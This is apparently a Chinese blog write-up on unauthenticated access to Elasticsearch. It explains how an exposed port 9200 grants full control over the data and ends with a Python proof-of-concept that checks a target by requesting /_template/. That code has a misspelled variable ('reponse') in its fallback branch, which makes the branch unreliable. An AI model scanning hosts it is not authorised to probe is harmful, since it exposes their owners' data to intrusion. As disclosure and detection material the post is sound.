一. 漏洞簡介
漏洞描述:ElasticSearch是一個基於Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基於RESTful web接口。Elasticsearch是用Java開發的,並作為Apache許可條款下的開放源碼發布,是當前流行的企業級搜索引擎。Elasticsearch的增刪改查操作全部由http接口完。由於Elasticsearch授權模塊需要付費,所以免費開源的Elasticsearch可能存在未授權訪問漏洞。該漏洞導致,攻擊者可以擁有Elasticsearch的所有權限。可以對數據進行任意操作。業務系統將面臨敏感數據泄露、數據丟失、數據遭到破壞甚至遭到攻擊者的勒索。
漏洞評級:高危
參考鏈接:
1. https://www.seebug.org/vuldb/ssvid-62520
2. http://webscan.360.cn/vul/view/vulid/3562
3. http://www.oschina.net/news/81125/50-billion-data-deleted-by-elasticsearch-blackmailers
二. 利用條件
Elasticsearch 直接對外端口,默認為9200也可配置為其他端口 ,攻擊者直接訪問http://ip:port即可訪問。
對數據進行增刪改查直接使用對應的http接口即可。
具體操作請參照本博客的一片Elasticsearch增刪改查接口:http://www.cnblogs.com/KevinGeorge/p/7868823.html
POC核心代碼:
1 def _verify(self): 2 #定義返回結果 3 result = {} 4 #獲取漏洞url 5 vul_url = '%s' % self.url 6 7 #如果設置端口則取端口,沒有設置則為默認端口 8 import re 9 import socket 10 socket.setdefaulttimeout(2) 11 from pocsuite.lib.utils.funs import url2ip 12 _port = re.findall(':(\d+)\s*', vul_url) 13 if len(_port) != 0: 14 _host = url2ip(vul_url)[0] 15 _port = url2ip(vul_url)[1] 16 else : 17 _host = url2ip(vul_url) 18 _port = 9200 19 20 payload = 'http://%s:%s/_template/'%(_host,_port) 21 22 #檢測漏洞 23 try: 24 print payload 25 response = requests.get(payload,timeout=2) 26 print response.status_code 27 if response.status_code == 200: 28 print "check content" 29 if response.content.find("order") >= 0: 30 result['VerifyInfo'] = {} 31 result['VerifyInfo']['URL'] = _host 32 result['VerifyInfo']['Payload'] = payload 33 else: 34 response = requests.get(payload.replace("9200","9207"),timeout=2) 35 print reponse.status_code 36 if response.status_code == 200: 37 print "check content" 38 if response.content.find("order") >= 0: 39 result['VerifyInfo'] = {} 40 result['VerifyInfo']['URL'] = _host 41 result['VerifyInfo']['Payload'] = payload 42 except Exception,ex: 43 print ex 44 return self.save_output(result)